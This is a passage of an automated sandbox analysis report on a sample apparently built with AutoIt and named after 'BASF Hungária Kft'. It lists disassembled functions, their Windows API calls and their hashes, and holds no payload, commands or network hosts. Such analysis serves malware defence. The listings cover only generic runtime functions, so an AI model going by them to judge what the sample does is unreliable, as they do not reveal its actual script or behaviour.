                                                              • IsMenu.USER32(00000000), ref: 007922C3
                                                              • CreatePopupMenu.USER32 ref: 007922F7
                                                              • GetMenuItemCount.USER32(000000FF), ref: 00792355
                                                              • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00792386
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                              • String ID:
                                                              • API String ID: 3311875123-0
                                                              • Opcode ID: f30c6ed5e61f70cd5ac72150c2c316225e48869d7ff4ba88abd86b86bca34a4d
                                                              • Instruction ID: a6a5e9b3cabc3b63516b2fd9a8ea0fd665d1973e1847eac974c2b24847e704e9
                                                              • Opcode Fuzzy Hash: f30c6ed5e61f70cd5ac72150c2c316225e48869d7ff4ba88abd86b86bca34a4d
                                                              • Instruction Fuzzy Hash: 7D51AF70600209FFDF21EF68E888BADBBF5BF45314F108229E811A7292D77D9946CB51
                                                              Function 00731765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • BeginPaint.USER32(?,?,?,?,?,?), ref: 0073179A
                                                              • GetWindowRect.USER32(?,?), ref: 007317FE
                                                              • ScreenToClient.USER32(?,?), ref: 0073181B
                                                              • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0073182C
                                                              • EndPaint.USER32(?,?), ref: 00731876
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                                              • String ID:
                                                              • API String ID: 1827037458-0
                                                              • Opcode ID: 27121a53c8bb814d1a2da9dfb8a6968db8ab472b8b0eb8d0af1db6e9f57bbf26
                                                              • Instruction ID: 2724cc6b5497b8223361854518b2332e0095e412035147678e83c2529bcdaaae
                                                              • Opcode Fuzzy Hash: 27121a53c8bb814d1a2da9dfb8a6968db8ab472b8b0eb8d0af1db6e9f57bbf26
                                                              • Instruction Fuzzy Hash: 0C41A031504701EFE710DF28CC84FB67BE8EB4A734F048668FA95872A2C7389845DB65
                                                              Function 007BB69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ShowWindow.USER32(007F57B0,00000000,01936A58,?,?,007F57B0,?,007BB5A8,?,?), ref: 007BB712
                                                              • EnableWindow.USER32(00000000,00000000), ref: 007BB736
                                                              • ShowWindow.USER32(007F57B0,00000000,01936A58,?,?,007F57B0,?,007BB5A8,?,?), ref: 007BB796
                                                              • ShowWindow.USER32(00000000,00000004,?,007BB5A8,?,?), ref: 007BB7A8
                                                              • EnableWindow.USER32(00000000,00000001), ref: 007BB7CC
                                                              • SendMessageW.USER32(?,0000130C,?,00000000), ref: 007BB7EF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$Show$Enable$MessageSend
                                                              • String ID:
                                                              • API String ID: 642888154-0
                                                              • Opcode ID: badac653824e6d201482395f2a81b5d9a33344b52c9f197c5316532de07f2f21
                                                              • Instruction ID: 910dc56d65aa557abef22cc0bc63b08962ebc1f98ce392156d1ebed877ff352e
                                                              • Opcode Fuzzy Hash: badac653824e6d201482395f2a81b5d9a33344b52c9f197c5316532de07f2f21
                                                              • Instruction Fuzzy Hash: 20418134600640AFDB21CF24C899FD47BE0FF45714F5881BAED488F6A2CBB5A856CB50
                                                              Function 007A709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetForegroundWindow.USER32(?,?,?,?,?,?,007A4E41,?,?,00000000,00000001), ref: 007A70AC
                                                                • Part of subcall function 007A39A0: GetWindowRect.USER32(?,?), ref: 007A39B3
                                                              • GetDesktopWindow.USER32 ref: 007A70D6
                                                              • GetWindowRect.USER32(00000000), ref: 007A70DD
                                                              • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 007A710F
                                                                • Part of subcall function 00795244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 007952BC
                                                              • GetCursorPos.USER32(?), ref: 007A713B
                                                              • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 007A7199
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                              • String ID:
                                                              • API String ID: 4137160315-0
                                                              • Opcode ID: d041fc4f2a320f26ba301e7b9b608335b351dfda11d4e7e40e5f1a9177897a38
                                                              • Instruction ID: 39b3c2252f854d40ecf1e7d86d1a71304d6e33bfdd37f8efe17623030aedcb95
                                                              • Opcode Fuzzy Hash: d041fc4f2a320f26ba301e7b9b608335b351dfda11d4e7e40e5f1a9177897a38
                                                              • Instruction Fuzzy Hash: 7731E172509309ABC724DF14DC49F9BB7E9FFC9304F004A29F48497191CA38EA09CB96
                                                              Function 00788879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 007880A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 007880C0
                                                                • Part of subcall function 007880A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 007880CA
                                                                • Part of subcall function 007880A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 007880D9
                                                                • Part of subcall function 007880A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 007880E0
                                                                • Part of subcall function 007880A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 007880F6
                                                              • GetLengthSid.ADVAPI32(?,00000000,0078842F), ref: 007888CA
                                                              • GetProcessHeap.KERNEL32(00000008,00000000), ref: 007888D6
                                                              • HeapAlloc.KERNEL32(00000000), ref: 007888DD
                                                              • CopySid.ADVAPI32(00000000,00000000,?), ref: 007888F6
                                                              • GetProcessHeap.KERNEL32(00000000,00000000,0078842F), ref: 0078890A
                                                              • HeapFree.KERNEL32(00000000), ref: 00788911
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                              • String ID:
                                                              • API String ID: 3008561057-0
                                                              • Opcode ID: 2a757d430216de4eeb0ef754a8851766f1f5d62a5353355a8b292cbce3a493ff
                                                              • Instruction ID: 77b273d9c800612ca9efc20cc1838d8a9dbbb97337fd9c8f65b844358f6372dd
                                                              • Opcode Fuzzy Hash: 2a757d430216de4eeb0ef754a8851766f1f5d62a5353355a8b292cbce3a493ff
                                                              • Instruction Fuzzy Hash: AC11B171551209FFDB50AFA8DC09FBE7769EF44311F908528E85597210CB3AAD00DB62
                                                              Function 007885B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 007885E2
                                                              • OpenProcessToken.ADVAPI32(00000000), ref: 007885E9
                                                              • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 007885F8
                                                              • CloseHandle.KERNEL32(00000004), ref: 00788603
                                                              • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00788632
                                                              • DestroyEnvironmentBlock.USERENV(00000000), ref: 00788646
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                              • String ID:
                                                              • API String ID: 1413079979-0
                                                              • Opcode ID: fc488c731c6e4aff114502a0b1a41a1bb27079fa6cd2c7c3e8321869c81d0e11
                                                              • Instruction ID: 6a5c3271c81f825322755e10541d85ffcb30da83d9ca45ef43b8d1d25964fcd5
                                                              • Opcode Fuzzy Hash: fc488c731c6e4aff114502a0b1a41a1bb27079fa6cd2c7c3e8321869c81d0e11
                                                              • Instruction Fuzzy Hash: 67116A7254020DABDF019FA8DD49FDE7BA9EF08704F048164FE04A2161C77A8D60EB61
                                                              Function 0078B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDC.USER32(00000000), ref: 0078B7B5
                                                              • GetDeviceCaps.GDI32(00000000,00000058), ref: 0078B7C6
                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0078B7CD
                                                              • ReleaseDC.USER32(00000000,00000000), ref: 0078B7D5
                                                              • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0078B7EC
                                                              • MulDiv.KERNEL32(000009EC,?,?), ref: 0078B7FE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CapsDevice$Release
                                                              • String ID:
                                                              • API String ID: 1035833867-0
                                                              • Opcode ID: b870d03de368d13063e165da1a0e73eee1dd7b847ab204ec1138cf8383aa6dc0
                                                              • Instruction ID: 1e76193b12bac9949750b893be14422089d62b943e3e05a88b5810f877b4e5bc
                                                              • Opcode Fuzzy Hash: b870d03de368d13063e165da1a0e73eee1dd7b847ab204ec1138cf8383aa6dc0
                                                              • Instruction Fuzzy Hash: 11017175A40309BBEB10ABA69C49F5EBFA8EB48711F008166FE04A7291D6349C00CF91
                                                              Function 00750162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00750193
                                                              • MapVirtualKeyW.USER32(00000010,00000000), ref: 0075019B
                                                              • MapVirtualKeyW.USER32(000000A0,00000000), ref: 007501A6
                                                              • MapVirtualKeyW.USER32(000000A1,00000000), ref: 007501B1
                                                              • MapVirtualKeyW.USER32(00000011,00000000), ref: 007501B9
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 007501C1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Virtual
                                                              • String ID:
                                                              • API String ID: 4278518827-0
                                                              • Opcode ID: 97af032ba25793d21ef91bcab3d00fc8d5e446880dd45a92f88ac4014d860d7a
                                                              • Instruction ID: 12c4ff67ee73e7d33c919a264c448ebd9f7a5ebc5c3657b0869f4f408c23b1ab
                                                              • Opcode Fuzzy Hash: 97af032ba25793d21ef91bcab3d00fc8d5e446880dd45a92f88ac4014d860d7a
                                                              • Instruction Fuzzy Hash: C6016CB0901759BDE3008F5A8C85B52FFA8FF19754F00411BE15C47941C7F5A864CBE5
                                                              Function 007953E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 007953F9
                                                              • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0079540F
                                                              • GetWindowThreadProcessId.USER32(?,?), ref: 0079541E
                                                              • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0079542D
                                                              • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00795437
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0079543E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                              • String ID:
                                                              • API String ID: 839392675-0
                                                              • Opcode ID: 31ac676e8f4f64160f43d9cbef5641e51066a32c6b74ed70e32c84d9772fb9f0
                                                              • Instruction ID: 723118a9430f1599fca6d1e0d0716d70f62973546c9d4c7b557977f567bd3862
                                                              • Opcode Fuzzy Hash: 31ac676e8f4f64160f43d9cbef5641e51066a32c6b74ed70e32c84d9772fb9f0
                                                              • Instruction Fuzzy Hash: 76F06D32640158BBE7215BA69C0DFEB7B7CEBCAF15F004269FA04D106096A81A0187B9
                                                              Function 00797230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • InterlockedExchange.KERNEL32(?,?), ref: 00797243
                                                              • EnterCriticalSection.KERNEL32(?,?,00740EE4,?,?), ref: 00797254
                                                              • TerminateThread.KERNEL32(00000000,000001F6,?,00740EE4,?,?), ref: 00797261
                                                              • WaitForSingleObject.KERNEL32(00000000,000003E8,?,00740EE4,?,?), ref: 0079726E
                                                                • Part of subcall function 00796C35: CloseHandle.KERNEL32(00000000,?,0079727B,?,00740EE4,?,?), ref: 00796C3F
                                                              • InterlockedExchange.KERNEL32(?,000001F6), ref: 00797281
                                                              • LeaveCriticalSection.KERNEL32(?,?,00740EE4,?,?), ref: 00797288
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                              • String ID:
                                                              • API String ID: 3495660284-0
                                                              • Opcode ID: 82465cd7757894c7c1b689e890185e3d40189dc823cc05ad9c56dee7592b11b6
                                                              • Instruction ID: 2191063732dfaf4893b1a584dcfa96721ae33805a3dcd2e9aa88042246262686
                                                              • Opcode Fuzzy Hash: 82465cd7757894c7c1b689e890185e3d40189dc823cc05ad9c56dee7592b11b6
                                                              • Instruction Fuzzy Hash: 47F03A36540612EBDB121B64ED4CEDE7739FF45B02B104631F502D50A0CB7E5801CB64
                                                              Function 00788992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0078899D
                                                              • UnloadUserProfile.USERENV(?,?), ref: 007889A9
                                                              • CloseHandle.KERNEL32(?), ref: 007889B2
                                                              • CloseHandle.KERNEL32(?), ref: 007889BA
                                                              • GetProcessHeap.KERNEL32(00000000,?), ref: 007889C3
                                                              • HeapFree.KERNEL32(00000000), ref: 007889CA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                              • String ID:
                                                              • API String ID: 146765662-0
                                                              • Opcode ID: 40a93ff8716eda121a04bad0b3c2d068f2d2af65802fd1c4417342c17ab7a50b
                                                              • Instruction ID: c280ecd3fcea8e66ac0927720c95ca50bc5069dae0013c85245c4d2f8d5badce
                                                              • Opcode Fuzzy Hash: 40a93ff8716eda121a04bad0b3c2d068f2d2af65802fd1c4417342c17ab7a50b
                                                              • Instruction Fuzzy Hash: F5E05276104509FBDA011FE5EC0CE5ABFA9FB89B62B548731F219C1470CB3A9861DB58
                                                              Function 00787530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,007C2C7C,?), ref: 007876EA
                                                              • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,007C2C7C,?), ref: 00787702
                                                              • CLSIDFromProgID.OLE32(?,?,00000000,007BFB80,000000FF,?,00000000,00000800,00000000,?,007C2C7C,?), ref: 00787727
                                                              • _memcmp.LIBCMT ref: 00787748
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FromProg$FreeTask_memcmp
                                                              • String ID: ,,|
                                                              • API String ID: 314563124-2928947247
                                                              • Opcode ID: ce41799c78093c3e72febc65459f46837a7c9aecf74804900359b15cfae44695
                                                              • Instruction ID: 7a2c0f1a77b2f25c6a98dbc18596e90d6f14d72f776d2fecb6c5c582fb5ff630
                                                              • Opcode Fuzzy Hash: ce41799c78093c3e72febc65459f46837a7c9aecf74804900359b15cfae44695
                                                              • Instruction Fuzzy Hash: D5810D75A00109EFCB04DFA4C988EEEB7B9FF89315F204558F506AB251DB75AE06CB60
                                                              Function 007A85ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 007A8613
                                                              • CharUpperBuffW.USER32(?,?), ref: 007A8722
                                                              • VariantClear.OLEAUT32(?), ref: 007A889A
                                                                • Part of subcall function 00797562: VariantInit.OLEAUT32(00000000), ref: 007975A2
                                                                • Part of subcall function 00797562: VariantCopy.OLEAUT32(00000000,?), ref: 007975AB
                                                                • Part of subcall function 00797562: VariantClear.OLEAUT32(00000000), ref: 007975B7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                              • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                              • API String ID: 4237274167-1221869570
                                                              • Opcode ID: 6a791b40b3ef945a525c384f9ed9131f1bfb4a1c86885663e5f30c0539e63857
                                                              • Instruction ID: 452f30c8d1904f92316b7cb7b09ff530ae32d8956a150f8d88b12165be9cd49c
                                                              • Opcode Fuzzy Hash: 6a791b40b3ef945a525c384f9ed9131f1bfb4a1c86885663e5f30c0539e63857
                                                              • Instruction Fuzzy Hash: 00916B71604301DFCB50DF24C48595ABBE4EFCA714F148A2DF99A8B362DB39E905CB92
                                                              Function 00792A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0074FC86: _wcscpy.LIBCMT ref: 0074FCA9
                                                              • _memset.LIBCMT ref: 00792B87
                                                              • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00792BB6
                                                              • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00792C69
                                                              • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00792C97
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                              • String ID: 0
                                                              • API String ID: 4152858687-4108050209
                                                              • Opcode ID: e8ec2d17590a44f4a55c28e66c4105c1add88f2845e0859adeecad1ff57278c3
                                                              • Instruction ID: 55cecd7a3b67aa7a7589842c17c47d7b4e8a6403d4287d36587f1cedb46c4d84
                                                              • Opcode Fuzzy Hash: e8ec2d17590a44f4a55c28e66c4105c1add88f2845e0859adeecad1ff57278c3
                                                              • Instruction Fuzzy Hash: 2251C471508301AADB24FF28E845A6F77E4EF56350F144A2DF895D31A2DB78CD06C7A2
